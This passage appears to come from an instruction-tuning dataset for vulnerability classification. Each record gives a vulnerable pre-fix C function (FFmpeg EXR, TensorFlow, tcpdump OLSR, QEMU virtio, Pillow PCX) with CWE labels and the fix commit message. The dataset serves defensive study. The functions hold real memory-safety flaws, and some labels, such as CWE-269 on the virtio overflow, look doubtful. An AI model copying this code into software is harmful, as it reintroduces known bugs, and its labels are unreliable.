av_fast_padded_malloc(&td->rle_raw_data, &td->rle_raw_size, rle_raw_size);\n        if (!td->rle_raw_data)\n            return AVERROR(ENOMEM);\n\n        if (uncompress(td->rle_data, &dest_len, gb.buffer, rle_csize) != Z_OK ||\n            (dest_len != rle_usize))\n            return AVERROR_INVALIDDATA;\n\n        ret = rle(td->rle_raw_data, td->rle_data, rle_usize, rle_raw_size);\n        if (ret < 0)\n            return ret;\n        bytestream2_skip(&gb, rle_csize);\n    }\n\n    bytestream2_init(&agb, td->ac_data, ac_count * 2);\n\n    for (int y = 0; y < td->ysize; y += 8) {\n        for (int x = 0; x < td->xsize; x += 8) {\n            memset(td->block, 0, sizeof(td->block));\n\n            for (int j = 0; j < 3; j++) {\n                float *block = td->block[j];\n                const int idx = (x >> 3) + (y >> 3) * dc_w + dc_w * dc_h * j;\n                uint16_t *dc = (uint16_t *)td->dc_data;\n                union av_intfloat32 dc_val;\n\n                dc_val.i = half2float(dc[idx], s->mantissatable,\n                                      s->exponenttable, s->offsettable);\n\n                block[0] = dc_val.f;\n                ac_uncompress(s, &agb, block);\n                dct_inverse(block);\n            }\n\n            {\n                const float scale = s->pixel_type == EXR_FLOAT ? 2.f : 1.f;\n                const int o = s->nb_channels == 4;\n                float *bo = ((float *)td->uncompressed_data) +\n                    y * td->xsize * s->nb_channels + td->xsize * (o + 0) + x;\n                float *go = ((float *)td->uncompressed_data) +\n                    y * td->xsize * s->nb_channels + td->xsize * (o + 1) + x;\n                float *ro = ((float *)td->uncompressed_data) +\n                    y * td->xsize * s->nb_channels + td->xsize * (o + 2) + x;\n                float *yb = td->block[0];\n                float *ub = td->block[1];\n                float *vb = td->block[2];\n\n                for (int yy = 0; yy < 8; yy++) {\n                    for (int xx = 0; xx < 8; xx++) {\n                        const int idx = xx + yy * 8;\n\n                        convert(yb[idx], ub[idx], vb[idx], &bo[xx], &go[xx], &ro[xx]);\n\n                        bo[xx] = to_linear(bo[xx], scale);\n                        go[xx] = to_linear(go[xx], scale);\n                        ro[xx] = to_linear(ro[xx], scale);\n                    }\n\n                    bo += td->xsize * s->nb_channels;\n                    go += td->xsize * s->nb_channels;\n                    ro += td->xsize * s->nb_channels;\n                }\n            }\n        }\n    }\n\n    if (s->nb_channels < 4)\n        return 0;\n\n    for (int y = 0; y < td->ysize && td->rle_raw_data; y++) {\n        uint32_t *ao = ((uint32_t *)td->uncompressed_data) + y * td->xsize * s->nb_channels;\n        uint8_t *ai0 = td->rle_raw_data + y * td->xsize;\n        uint8_t *ai1 = td->rle_raw_data + y * td->xsize + rle_raw_size / 2;\n\n        for (int x = 0; x < td->xsize; x++) {\n            uint16_t ha = ai0[x] | (ai1[x] << 8);\n\n            ao[x] = half2float(ha, s->mantissatable, s->exponenttable, s->offsettable);\n        }\n    }\n\n    return 0;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n    [/INST] 'cwe': ['CWE-20', 'CWE-129'], 'message': 'avcodec/exr: More strictly check dc_count\n\nFixes: out of array access\nFixes: exr/deneme\n\nFound-by: Burak \u00c7ar\u0131k\u00e7\u0131 \nSigned-off-by: Michael Niedermayer '"
+  },
+  {
+    "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n    Code:   void Compute(OpKernelContext* const context) override {\n    // node_id_range\n    const Tensor* node_id_range_t;\n    OP_REQUIRES_OK(context, context->input(\"node_id_range\", &node_id_range_t));\n    OP_REQUIRES(\n        context, node_id_range_t->NumElements() == 2,\n        errors::InvalidArgument(\"node_id_range argument must have shape [2]\"));\n    const auto node_id_range = node_id_range_t->vec();\n    const int32_t node_id_first = node_id_range(0);  // inclusive\n    const int32_t node_id_last = node_id_range(1);   // exclusive\n\n    const Tensor* stats_summary_t;\n    OP_REQUIRES_OK(context, context->input(\"stats_summary\", &stats_summary_t));\n    OP_REQUIRES(\n        context, stats_summary_t->shape().dims() == 4,\n        errors::InvalidArgument(\"stats_summary argument must have rank 4\"));\n    TTypes::ConstTensor stats_summary =\n        stats_summary_t->tensor();\n    const int32_t feature_dims = stats_summary_t->dim_size(1);\n    // The last bucket is for default/missing value.\n    const int32_t num_buckets = stats_summary_t->dim_size(2) - 1;\n    const int32_t logits_dim = logits_dim_;\n    const int32_t hessian_dim = stats_summary_t->dim_size(3) - logits_dim;\n    DCHECK_GT(hessian_dim, 0);\n    DCHECK_LE(hessian_dim, logits_dim * logits_dim);\n\n    const Tensor* l1_t;\n    OP_REQUIRES_OK(context, context->input(\"l1\", &l1_t));\n    OP_REQUIRES(context, l1_t->NumElements() == 1,\n                errors::InvalidArgument(\"l1 argument must be a scalar\"));\n    const auto l1 = l1_t->scalar()();\n    DCHECK_GE(l1, 0);\n    if (logits_dim_ > 1) {\n      // Multi-class L1 regularization not supported yet.\n      DCHECK_EQ(l1, 0);\n    }\n\n    const Tensor* l2_t;\n    OP_REQUIRES_OK(context, context->input(\"l2\", &l2_t));\n    OP_REQUIRES(context, l2_t->NumElements() == 1,\n                errors::InvalidArgument(\"l2 argument must be a scalar\"));\n    const auto l2 = l2_t->scalar()();\n    DCHECK_GE(l2, 0);\n\n    const Tensor* tree_complexity_t;\n    OP_REQUIRES_OK(context,\n                   context->input(\"tree_complexity\", &tree_complexity_t));\n    OP_REQUIRES(\n        context, tree_complexity_t->NumElements() == 1,\n        errors::InvalidArgument(\"tree_complexity argument must be a scalar\"));\n    const auto tree_complexity = tree_complexity_t->scalar()();\n\n    const Tensor* min_node_weight_t;\n    OP_REQUIRES_OK(context,\n                   context->input(\"min_node_weight\", &min_node_weight_t));\n    OP_REQUIRES(\n        context, min_node_weight_t->NumElements() == 1,\n        errors::InvalidArgument(\"min_node_weight argument must be a scalar\"));\n    const auto min_node_weight = min_node_weight_t->scalar()();\n\n    std::vector output_node_ids;\n    std::vector output_gains;\n    std::vector output_feature_dimensions;\n    std::vector output_thresholds;\n    std::vector output_left_node_contribs;\n    std::vector output_right_node_contribs;\n    std::vector output_split_types;\n\n    // TODO(tanzheny) parallelize the computation.\n    // Iterate each node and find the best gain per node.\n    for (int32_t node_id = node_id_first; node_id < node_id_last; ++node_id) {\n      float best_gain = std::numeric_limits::lowest();\n      int32_t best_bucket = 0;\n      int32_t best_f_dim = 0;\n      string best_split_type;\n      Eigen::VectorXf best_contrib_for_left(logits_dim);\n      Eigen::VectorXf best_contrib_for_right(logits_dim);\n      float parent_gain;\n\n      // Including default bucket.\n      ConstMatrixMap stats_mat(&stats_summary(node_id, 0, 0, 0),\n                               num_buckets + 1, logits_dim + hessian_dim);\n      const Eigen::VectorXf total_grad =\n          stats_mat.leftCols(logits_dim).colwise().sum();\n      const Eigen::VectorXf total_hess =\n          stats_mat.rightCols(hessian_dim).colwise().sum();\n      if (total_hess.norm() < min_node_weight) {\n        continue;\n      }\n      Eigen::VectorXf parent_weight(logits_dim);\n      CalculateWeightsAndGains(total_grad, total_hess, l1, l2, &parent_weight,\n                               &parent_gain);\n\n      if (split_type_ == \"inequality\") {\n        CalculateBestInequalitySplit(\n            stats_summary, node_id, feature_dims, logits_dim, hessian_dim,\n            num_buckets, min_node_weight, l1, l2, &best_gain, &best_bucket,\n            &best_f_dim, &best_split_type, &best_contrib_for_left,\n            &best_contrib_for_right);\n      } else {\n        CalculateBestEqualitySplit(\n            stats_summary, total_grad, total_hess, node_id, feature_dims,\n            logits_dim, hessian_dim, num_buckets, l1, l2, &best_gain,\n            &best_bucket, &best_f_dim, &best_split_type, &best_contrib_for_left,\n            &best_contrib_for_right);\n      }\n\n      if (best_gain == std::numeric_limits::lowest()) {\n        // Do not add the node if not split if found.\n        continue;\n      }\n      output_node_ids.push_back(node_id);\n      // Remove the parent gain for the parent node.\n      output_gains.push_back(best_gain - parent_gain);\n      output_feature_dimensions.push_back(best_f_dim);\n      // default direction is fixed for dense splits.\n      // TODO(tanzheny) account for default values.\n      output_split_types.push_back(best_split_type);\n      output_thresholds.push_back(best_bucket);\n      output_left_node_contribs.push_back(best_contrib_for_left);\n      output_right_node_contribs.push_back(best_contrib_for_right);\n    }  // for node id\n    const int num_nodes = output_node_ids.size();\n    // output_node_ids\n    Tensor* output_node_ids_t = nullptr;\n    OP_REQUIRES_OK(context, context->allocate_output(\"node_ids\", {num_nodes},\n                                                     &output_node_ids_t));\n    auto output_node_ids_vec = output_node_ids_t->vec();\n\n    // output_gains\n    Tensor* output_gains_t;\n    OP_REQUIRES_OK(context, context->allocate_output(\"gains\", {num_nodes},\n                                                     &output_gains_t));\n    auto output_gains_vec = output_gains_t->vec();\n\n    // output_feature_dimensions\n    Tensor* output_feature_dimension_t;\n    OP_REQUIRES_OK(context,\n                   context->allocate_output(\"feature_dimensions\", {num_nodes},\n                                            &output_feature_dimension_t));\n    auto output_feature_dimensions_vec =\n        output_feature_dimension_t->vec();\n\n    // output_thresholds\n    Tensor* output_thresholds_t;\n    OP_REQUIRES_OK(context, context->allocate_output(\"thresholds\", {num_nodes},\n                                                     &output_thresholds_t));\n    auto output_thresholds_vec = output_thresholds_t->vec();\n\n    // output_left_node_contribs\n    Tensor* output_left_node_contribs_t;\n    OP_REQUIRES_OK(context, context->allocate_output(\n                                \"left_node_contribs\", {num_nodes, logits_dim},\n                                &output_left_node_contribs_t));\n    auto output_left_node_contribs_matrix =\n        output_left_node_contribs_t->matrix();\n\n    // output_right_node_contribs\n    Tensor* output_right_node_contribs_t;\n    OP_REQUIRES_OK(context, context->allocate_output(\n                                \"right_node_contribs\", {num_nodes, logits_dim},\n                                &output_right_node_contribs_t));\n    auto output_right_node_contribs_matrix =\n        output_right_node_contribs_t->matrix();\n\n    // split type\n    Tensor* output_split_types_t;\n    OP_REQUIRES_OK(\n        context, context->allocate_output(\"split_with_default_directions\",\n                                          {num_nodes}, &output_split_types_t));\n    auto output_split_types_vec = output_split_types_t->vec();\n\n    // Sets output tensors from vectors.\n    for (int i = 0; i < num_nodes; ++i) {\n      output_node_ids_vec(i) = output_node_ids[i];\n      // Adjust the gains to penalize by tree complexity.\n      output_gains_vec(i) = output_gains[i] - tree_complexity;\n      output_feature_dimensions_vec(i) = output_feature_dimensions[i];\n      output_thresholds_vec(i) = output_thresholds[i];\n      for (int j = 0; j < logits_dim; ++j) {\n        output_left_node_contribs_matrix(i, j) =\n            output_left_node_contribs[i][j];\n        output_right_node_contribs_matrix(i, j) =\n            output_right_node_contribs[i][j];\n      }\n      output_split_types_vec(i) = output_split_types[i];\n    }\n  } ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n    [/INST] 'cwe': ['CWE-476', 'CWE-369'], 'message': 'Fixing security fixes in boosted trees ops\n\nPiperOrigin-RevId: 405669548\nChange-Id: Iae224d240d1779bcc02405c2fff99785644fbd0d'"
+  },
+  {
+    "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n    Code: olsr_print(netdissect_options *ndo,\n           const u_char *pptr, u_int length, int is_ipv6)\n{\n    union {\n        const struct olsr_common *common;\n        const struct olsr_msg4 *msg4;\n        const struct olsr_msg6 *msg6;\n        const struct olsr_hello *hello;\n        const struct olsr_hello_link *hello_link;\n        const struct olsr_tc *tc;\n        const struct olsr_hna4 *hna;\n    } ptr;\n\n    u_int msg_type, msg_len, msg_tlen, hello_len;\n    uint16_t name_entry_type, name_entry_len;\n    u_int name_entry_padding;\n    uint8_t link_type, neighbor_type;\n    const u_char *tptr, *msg_data;\n\n    tptr = pptr;\n\n    if (length < sizeof(struct olsr_common)) {\n        goto trunc;\n    }\n\n    ND_TCHECK2(*tptr, sizeof(struct olsr_common));\n\n    ptr.common = (const struct olsr_common *)tptr;\n    length = min(length, EXTRACT_16BITS(ptr.common->packet_len));\n\n    ND_PRINT((ndo, \"OLSRv%i, seq 0x%04x, length %u\",\n            (is_ipv6 == 0) ? 4 : 6,\n            EXTRACT_16BITS(ptr.common->packet_seq),\n            length));\n\n    tptr += sizeof(struct olsr_common);\n\n    /*\n     * In non-verbose mode, just print version.\n     */\n    if (ndo->ndo_vflag < 1) {\n        return;\n    }\n\n    while (tptr < (pptr+length)) {\n        union\n        {\n            const struct olsr_msg4 *v4;\n            const struct olsr_msg6 *v6;\n        } msgptr;\n        int msg_len_valid = 0;\n\n        ND_TCHECK2(*tptr, sizeof(struct olsr_msg4));\n\n        if (is_ipv6)\n        {\n            msgptr.v6 = (const struct olsr_msg6 *) tptr;\n            msg_type = msgptr.v6->msg_type;\n            msg_len = EXTRACT_16BITS(msgptr.v6->msg_len);\n            if ((msg_len >= sizeof (struct olsr_msg6))\n                    && (msg_len <= length))\n                msg_len_valid = 1;\n\n            /* infinite loop check */\n            if (msg_type == 0 || msg_len == 0) {\n                return;\n            }\n\n            ND_PRINT((ndo, \"\\n\\t%s Message (%#04x), originator %s, ttl %u, hop %u\"\n                    \"\\n\\t  vtime %.3fs, msg-seq 0x%04x, length %u%s\",\n                    tok2str(olsr_msg_values, \"Unknown\", msg_type),\n                    msg_type, ip6addr_string(ndo, msgptr.v6->originator),\n                    msgptr.v6->ttl,\n                    msgptr.v6->hopcount,\n                    ME_TO_DOUBLE(msgptr.v6->vtime),\n                    EXTRACT_16BITS(msgptr.v6->msg_seq),\n                    msg_len, (msg_len_valid == 0) ? \" (invalid)\" : \"\"));\n            if (!msg_len_valid) {\n                return;\n            }\n\n            msg_tlen = msg_len - sizeof(struct olsr_msg6);\n            msg_data = tptr + sizeof(struct olsr_msg6);\n        }\n        else /* (!is_ipv6) */\n        {\n            msgptr.v4 = (const struct olsr_msg4 *) tptr;\n            msg_type = msgptr.v4->msg_type;\n            msg_len = EXTRACT_16BITS(msgptr.v4->msg_len);\n            if ((msg_len >= sizeof (struct olsr_msg4))\n                    && (msg_len <= length))\n                msg_len_valid = 1;\n\n            /* infinite loop check */\n            if (msg_type == 0 || msg_len == 0) {\n                return;\n            }\n\n            ND_PRINT((ndo, \"\\n\\t%s Message (%#04x), originator %s, ttl %u, hop %u\"\n                    \"\\n\\t  vtime %.3fs, msg-seq 0x%04x, length %u%s\",\n                    tok2str(olsr_msg_values, \"Unknown\", msg_type),\n                    msg_type, ipaddr_string(ndo, msgptr.v4->originator),\n                    msgptr.v4->ttl,\n                    msgptr.v4->hopcount,\n                    ME_TO_DOUBLE(msgptr.v4->vtime),\n                    EXTRACT_16BITS(msgptr.v4->msg_seq),\n                    msg_len, (msg_len_valid == 0) ? \" (invalid)\" : \"\"));\n            if (!msg_len_valid) {\n                return;\n            }\n\n            msg_tlen = msg_len - sizeof(struct olsr_msg4);\n            msg_data = tptr + sizeof(struct olsr_msg4);\n        }\n\n        switch (msg_type) {\n        case OLSR_HELLO_MSG:\n        case OLSR_HELLO_LQ_MSG:\n            if (msg_tlen < sizeof(struct olsr_hello))\n                goto trunc;\n            ND_TCHECK2(*msg_data, sizeof(struct olsr_hello));\n\n            ptr.hello = (const struct olsr_hello *)msg_data;\n            ND_PRINT((ndo, \"\\n\\t  hello-time %.3fs, MPR willingness %u\",\n                   ME_TO_DOUBLE(ptr.hello->htime), ptr.hello->will));\n            msg_data += sizeof(struct olsr_hello);\n            msg_tlen -= sizeof(struct olsr_hello);\n\n            while (msg_tlen >= sizeof(struct olsr_hello_link)) {\n                int hello_len_valid = 0;\n\n                /*\n                 * link-type.\n                 */\n                ND_TCHECK2(*msg_data, sizeof(struct olsr_hello_link));\n\n                ptr.hello_link = (const struct olsr_hello_link *)msg_data;\n\n                hello_len = EXTRACT_16BITS(ptr.hello_link->len);\n                link_type = OLSR_EXTRACT_LINK_TYPE(ptr.hello_link->link_code);\n                neighbor_type = OLSR_EXTRACT_NEIGHBOR_TYPE(ptr.hello_link->link_code);\n\n                if ((hello_len <= msg_tlen)\n                        && (hello_len >= sizeof(struct olsr_hello_link)))\n                    hello_len_valid = 1;\n\n                ND_PRINT((ndo, \"\\n\\t    link-type %s, neighbor-type %s, len %u%s\",\n                       tok2str(olsr_link_type_values, \"Unknown\", link_type),\n                       tok2str(olsr_neighbor_type_values, \"Unknown\", neighbor_type),\n                       hello_len,\n                       (hello_len_valid == 0) ? \" (invalid)\" : \"\"));\n\n                if (hello_len_valid == 0)\n                    break;\n\n                msg_data += sizeof(struct olsr_hello_link);\n                msg_tlen -= sizeof(struct olsr_hello_link);\n                hello_len -= sizeof(struct olsr_hello_link);\n\n                ND_TCHECK2(*msg_data, hello_len);\n                if (msg_type == OLSR_HELLO_MSG) {\n                    if (olsr_print_neighbor(ndo, msg_data, hello_len) == -1)\n                        goto trunc;\n                } else {\n                    if (is_ipv6) {\n                        if (olsr_print_lq_neighbor6(ndo, msg_data, hello_len) == -1)\n                            goto trunc;\n                    } else {\n                        if (olsr_print_lq_neighbor4(ndo, msg_data, hello_len) == -1)\n                            goto trunc;\n                    }\n                }\n\n                msg_data += hello_len;\n                msg_tlen -= hello_len;\n            }\n            break;\n\n        case OLSR_TC_MSG:\n        case OLSR_TC_LQ_MSG:\n            if (msg_tlen < sizeof(struct olsr_tc))\n                goto trunc;\n            ND_TCHECK2(*msg_data, sizeof(struct olsr_tc));\n\n            ptr.tc = (const struct olsr_tc *)msg_data;\n            ND_PRINT((ndo, \"\\n\\t    advertised neighbor seq 0x%04x\",\n                   EXTRACT_16BITS(ptr.tc->ans_seq)));\n            msg_data += sizeof(struct olsr_tc);\n            msg_tlen -= sizeof(struct olsr_tc);\n\n            if (msg_type == OLSR_TC_MSG) {\n                if (olsr_print_neighbor(ndo, msg_data, msg_tlen) == -1)\n                    goto trunc;\n            } else {\n                if (is_ipv6) {\n                    if (olsr_print_lq_neighbor6(ndo, msg_data, msg_tlen) == -1)\n                        goto trunc;\n                } else {\n                    if (olsr_print_lq_neighbor4(ndo, msg_data, msg_tlen) == -1)\n                        goto trunc;\n                }\n            }\n            break;\n\n        case OLSR_MID_MSG:\n        {\n            size_t addr_size = sizeof(struct in_addr);\n\n            if (is_ipv6)\n                addr_size = sizeof(struct in6_addr);\n\n            while (msg_tlen >= addr_size) {\n                ND_TCHECK2(*msg_data, addr_size);\n                ND_PRINT((ndo, \"\\n\\t  interface address %s\",\n                        is_ipv6 ? ip6addr_string(ndo, msg_data) :\n                        ipaddr_string(ndo, msg_data)));\n\n                msg_data += addr_size;\n                msg_tlen -= addr_size;\n            }\n            break;\n        }\n\n        case OLSR_HNA_MSG:\n            if (is_ipv6)\n            {\n                int i = 0;\n\n                ND_PRINT((ndo, \"\\n\\t  Advertised networks (total %u)\",\n                        (unsigned int) (msg_tlen / sizeof(struct olsr_hna6))));\n\n                while (msg_tlen >= sizeof(struct olsr_hna6)) {\n                    const struct olsr_hna6 *hna6;\n\n                    ND_TCHECK2(*msg_data, sizeof(struct olsr_hna6));\n\n                    hna6 = (const struct olsr_hna6 *)msg_data;\n\n                    ND_PRINT((ndo, \"\\n\\t    #%i: %s/%u\",\n                            i, ip6addr_string(ndo, hna6->network),\n                            mask62plen (hna6->mask)));\n\n                    msg_data += sizeof(struct olsr_hna6);\n                    msg_tlen -= sizeof(struct olsr_hna6);\n                }\n            }\n            else\n            {\n                int col = 0;\n\n                ND_PRINT((ndo, \"\\n\\t  Advertised networks (total %u)\",\n                        (unsigned int) (msg_tlen / sizeof(struct olsr_hna4))));\n\n                while (msg_tlen >= sizeof(struct olsr_hna4)) {\n                    ND_TCHECK2(*msg_data, sizeof(struct olsr_hna4));\n\n                    ptr.hna = (const struct olsr_hna4 *)msg_data;\n\n                    /* print 4 prefixes per line */\n                    if (!ptr.hna->network[0] && !ptr.hna->network[1] &&\n                        !ptr.hna->network[2] && !ptr.hna->network[3] &&\n                        !ptr.hna->mask[GW_HNA_PAD] &&\n                        ptr.hna->mask[GW_HNA_FLAGS]) {\n                            /* smart gateway */\n                            ND_PRINT((ndo, \"%sSmart-Gateway:%s%s%s%s%s %u/%u\",\n                                col == 0 ? \"\\n\\t    \" : \", \", /* indent */\n                                /* sgw */\n                                /* LINKSPEED */\n                                (ptr.hna->mask[GW_HNA_FLAGS] &\n                                 GW_HNA_FLAG_LINKSPEED) ? \" LINKSPEED\" : \"\",\n                                /* IPV4 */\n                                (ptr.hna->mask[GW_HNA_FLAGS] &\n                                 GW_HNA_FLAG_IPV4) ? \" IPV4\" : \"\",\n                                /* IPV4-NAT */\n                                (ptr.hna->mask[GW_HNA_FLAGS] &\n                                 GW_HNA_FLAG_IPV4_NAT) ? \" IPV4-NAT\" : \"\",\n                                /* IPV6 */\n                                (ptr.hna->mask[GW_HNA_FLAGS] &\n                                 GW_HNA_FLAG_IPV6) ? \" IPV6\" : \"\",\n                                /* IPv6PREFIX */\n                                (ptr.hna->mask[GW_HNA_FLAGS] &\n                                 GW_HNA_FLAG_IPV6PREFIX) ? \" IPv6-PREFIX\" : \"\",\n                                /* uplink */\n                                (ptr.hna->mask[GW_HNA_FLAGS] &\n                                 GW_HNA_FLAG_LINKSPEED) ?\n                                 deserialize_gw_speed(ptr.hna->mask[GW_HNA_UPLINK]) : 0,\n                                /* downlink */\n                                (ptr.hna->mask[GW_HNA_FLAGS] &\n                                 GW_HNA_FLAG_LINKSPEED) ?\n                                 deserialize_gw_speed(ptr.hna->mask[GW_HNA_DOWNLINK]) : 0\n                                ));\n                    } else {\n                        /* normal route */\n                        ND_PRINT((ndo, \"%s%s/%u\",\n                                col == 0 ? \"\\n\\t    \" : \", \",\n                                ipaddr_string(ndo, ptr.hna->network),\n                                mask2plen(EXTRACT_32BITS(ptr.hna->mask))));\n                    }\n\n                    msg_data += sizeof(struct olsr_hna4);\n                    msg_tlen -= sizeof(struct olsr_hna4);\n\n                    col = (col + 1) % 4;\n                }\n            }\n            break;\n\n        case OLSR_NAMESERVICE_MSG:\n        {\n            u_int name_entries = EXTRACT_16BITS(msg_data+2);\n            u_int addr_size = 4;\n            int name_entries_valid = 0;\n            u_int i;\n\n            if (is_ipv6)\n                addr_size = 16;\n\n            if ((name_entries > 0)\n                    && ((name_entries * (4 + addr_size)) <= msg_tlen))\n                name_entries_valid = 1;\n\n            if (msg_tlen < 4)\n                goto trunc;\n            ND_TCHECK2(*msg_data, 4);\n\n            ND_PRINT((ndo, \"\\n\\t  Version %u, Entries %u%s\",\n                   EXTRACT_16BITS(msg_data),\n                   name_entries, (name_entries_valid == 0) ? \" (invalid)\" : \"\"));\n\n            if (name_entries_valid == 0)\n                break;\n\n            msg_data += 4;\n            msg_tlen -= 4;\n\n            for (i = 0; i < name_entries; i++) {\n                int name_entry_len_valid = 0;\n\n                if (msg_tlen < 4)\n                    break;\n                ND_TCHECK2(*msg_data, 4);\n\n                name_entry_type = EXTRACT_16BITS(msg_data);\n                name_entry_len = EXTRACT_16BITS(msg_data+2);\n\n                msg_data += 4;\n                msg_tlen -= 4;\n\n                if ((name_entry_len > 0) && ((addr_size + name_entry_len) <= msg_tlen))\n                    name_entry_len_valid = 1;\n\n                ND_PRINT((ndo, \"\\n\\t    #%u: type %#06x, length %u%s\",\n                        (unsigned int) i, name_entry_type,\n                        name_entry_len, (name_entry_len_valid == 0) ? \" (invalid)\" : \"\"));\n\n                if (name_entry_len_valid == 0)\n                    break;\n\n                /* 32-bit alignment */\n                name_entry_padding = 0;\n                if (name_entry_len%4 != 0)\n                    name_entry_padding = 4-(name_entry_len%4);\n\n                if (msg_tlen < addr_size + name_entry_len + name_entry_padding)\n                    goto trunc;\n\n                ND_TCHECK2(*msg_data, addr_size + name_entry_len + name_entry_padding);\n\n                if (is_ipv6)\n                    ND_PRINT((ndo, \", address %s, name \\\"\",\n                            ip6addr_string(ndo, msg_data)));\n                else\n                    ND_PRINT((ndo, \", address %s, name \\\"\",\n                            ipaddr_string(ndo, msg_data)));\n                (void)fn_printn(ndo, msg_data + addr_size, name_entry_len, NULL);\n                ND_PRINT((ndo, \"\\\"\"));\n\n                msg_data += addr_size + name_entry_len + name_entry_padding;\n                msg_tlen -= addr_size + name_entry_len + name_entry_padding;\n            } /* for (i = 0; i < name_entries; i++) */\n            break;\n        } /* case OLSR_NAMESERVICE_MSG */\n\n            /*\n             * FIXME those are the defined messages that lack a decoder\n             * you are welcome to contribute code ;-)\n             */\n        case OLSR_POWERINFO_MSG:\n        default:\n            print_unknown_data(ndo, msg_data, \"\\n\\t    \", msg_tlen);\n            break;\n        } /* switch (msg_type) */\n        tptr += msg_len;\n    } /* while (tptr < (pptr+length)) */\n\n    return;\n\n trunc:\n    ND_PRINT((ndo, \"[|olsr]\"));\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n    [/INST] 'cwe': ['CWE-125'], 'message': 'CVE-2017-13688/OLSR: Do bounds checks before we fetch data.\n\nWhile we're at it, clean up some other bounds checks, so we check that\nwe have a complete IPv4 message header if it's IPv4 and a complete IPv6\nmessage header if it's IPv6.\n\nThis fixes a buffer over-read discovered by Bhargava Shastry,\nSecT/TU Berlin.\n\nAdd tests using the capture files supplied by the reporter(s).'"
+  },
+  {
+    "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n    Code: void virtio_config_writew(VirtIODevice *vdev, uint32_t addr, uint32_t data)\n{\n    VirtioDeviceClass *k = VIRTIO_DEVICE_GET_CLASS(vdev);\n    uint16_t val = data;\n\n    if (addr > (vdev->config_len - sizeof(val)))\n        return;\n\n    stw_p(vdev->config + addr, val);\n\n    if (k->set_config) {\n        k->set_config(vdev, vdev->config);\n    }\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n    [/INST] 'cwe': ['CWE-269'], 'message': 'virtio: properly validate address before accessing config\n\nThere are several several issues in the current checking:\n\n- The check was based on the minus of unsigned values which can overflow\n- It was done after .{set|get}_config() which can lead crash when config_len\n  is zero since vdev->config is NULL\n\nFix this by:\n\n- Validate the address in virtio_pci_config_{read|write}() before\n  .{set|get}_config\n- Use addition instead minus to do the validation\n\nCc: Michael S. Tsirkin \nCc: Petr Matousek \nSigned-off-by: Jason Wang \nAcked-by: Michael S. Tsirkin \nAcked-by: Petr Matousek \nMessage-id: 1367905369-10765-1-git-send-email-jasowang@redhat.com\nSigned-off-by: Anthony Liguori '"
+  },
+  {
+    "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n    Code: ImagingPcxDecode(Imaging im, ImagingCodecState state, UINT8* buf, Py_ssize_t bytes)\n{\n    UINT8 n;\n    UINT8* ptr;\n\n    if (strcmp(im->mode, \"1\") == 0 && state->xsize > state->bytes * 8) {\n        state->errcode = IMAGING_CODEC_OVERRUN;\n        return -1;\n    } else if (strcmp(im->mode, \"P\") == 0 && state->xsize > state->bytes) {\n        state->errcode = IMAGING_CODEC_OVERRUN;\n        return -1;\n    }\n\n    ptr = buf;\n\n    for (;;) {\n\n\tif (bytes < 1)\n\t    return ptr - buf;\n\n\tif ((*ptr & 0xC0) == 0xC0) {\n\n\t    /* Run */\n\t    if (bytes < 2)\n\t\treturn ptr - buf;\n\n\t    n = ptr[0] & 0x3F;\n\n\t    while (n > 0) {\n\t\tif (state->x >= state->bytes) {\n\t\t    state->errcode = IMAGING_CODEC_OVERRUN;\n\t\t    break;\n\t\t}\n\t\tstate->buffer[state->x++] = ptr[1];\n\t\tn--;\n\t    }\n\n\t    ptr += 2; bytes -= 2;\n\n\t} else {\n\n\t    /* Literal */\n\t    state->buffer[state->x++] = ptr[0];\n\t    ptr++; bytes--;\n\n\t}\n\n\tif (state->x >= state->bytes) {\n        if (state->bytes % state->xsize && state->bytes > state->xsize) {\n            int bands = state->bytes / state->xsize;\n            int stride = state->bytes / bands;\n            int i;\n            for (i=1; i< bands; i++) {  // note -- skipping first band\n                memmove(&state->buffer[i*state->xsize],\n                        &state->buffer[i*stride],\n                        state->xsize);\n            }\n        }\n\t    /* Got a full line, unpack it */\n\t    state->shuffle((UINT8*) im->image[state->y + state->yoff] +\n\t\t\t   state->xoff * im->pixelsize, state->buffer,\n\t\t\t   state->xsize);\n\n\t    state->x = 0;\n\n\t    if (++state->y >= state->ysize) {\n\t\t/* End of file (errcode = 0) */\n\t\treturn -1;\n\t    }\n\t}\n\n    }\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n    [/INST] 'cwe': ['CWE-125'], 'message': 'Fix OOB Access on PcxDecode.c'"
+  },
+  {
